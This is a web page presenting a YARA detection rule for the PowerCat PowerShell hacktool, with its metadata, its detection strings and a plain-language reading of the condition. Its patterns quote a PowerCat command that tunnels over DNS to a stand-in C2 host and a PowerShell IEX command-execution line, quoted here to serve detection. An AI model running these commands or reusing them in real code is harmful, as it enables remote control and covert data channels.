Skip to content

YARA · Signature Base (Florian Roth / Nextron)

SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21

Detects PowerCat hacktool

Hack toolSignature Base (Florian Roth / Nextron)Detection Rule License 1.1Compiles with YARA-X
Author
Florian Roth (Nextron Systems)
Date
2021-03-02
Modified
2023-12-05
Score / Quality
75 / 85

What this rule detects

Detects PowerCat hacktool

It defines 5 patterns (5 text, 0 hex, 0 regex).

Summary generated from the rule's metadata and condition.

Rule source

hktl-ps1-powercat-mar21.yarDetection Rule License 1.1
rule SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21 : FILE
{
	meta:
		description = "Detects PowerCat hacktool"
		author = "Florian Roth (Nextron Systems)"
		id = "ae3963e8-2fe9-5bc3-bf72-95f136622832"
		date = "2021-03-02"
		modified = "2023-12-05"
		reference = "https://github.com/besimorhino/powercat"
		source_url = "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/yara/apt_hafnium.yar#L84-L103"
		license_url = "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/LICENSE"
		hash = "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
		logic_hash = "cbd5c6f7c5b4ed713482588ee4490a2326fe11cfaacfb3bfc6a6d94130a8bc83"
		score = 75
		quality = 85
		tags = "FILE"

	strings:
		$x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
		$x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
		$s1 = "Returning Encoded Payload..." ascii
		$s2 = "$CommandToExecute =" ascii fullword
		$s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii

	condition:
		uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of them
}

Strings (5 patterns)

IdentifierTypeValueModifiers
$x1text"powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com"ascii fullword
$x2text"try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}"ascii fullword
$s1text"Returning Encoded Payload..."ascii
$s2text"$CommandToExecute ="ascii fullword
$s3text"[alias(\"Execute\")][string]$e=\"\","ascii

Condition

uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of them

In plain words (Heuristic)

  • The file must be smaller than 200KB (a cheap guard that skips large files).
  • At least 1 patterns in ( $x* ) must match.
  • At least 3 patterns in the rule must match.

Test this rule in your browser

Drop a file to scan it with this rule using YARA-X compiled to WebAssembly. Nothing is uploaded.

Drop a file here or click to chooseScanned locally with YARA-X. Files up to 200 MB.

Open in editor

References

Sample hashes

Hashes of samples the author lists in the rule's meta (look them up in your threat-intelligence platform).

  • c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2

Licence & attribution

Author: Florian Roth (Nextron Systems)

Source repository: Signature Base (Florian Roth / Nextron) @ 94a1c48d7a

Licence: Detection Rule License 1.1 (repository licence)

Original rule

Mirrored via YARA Forge 20260927, which prefixes rule names with the source and adds normalised meta fields.

Rule id: ae3963e8-2fe9-5bc3-bf72-95f136622832

Tags:FILE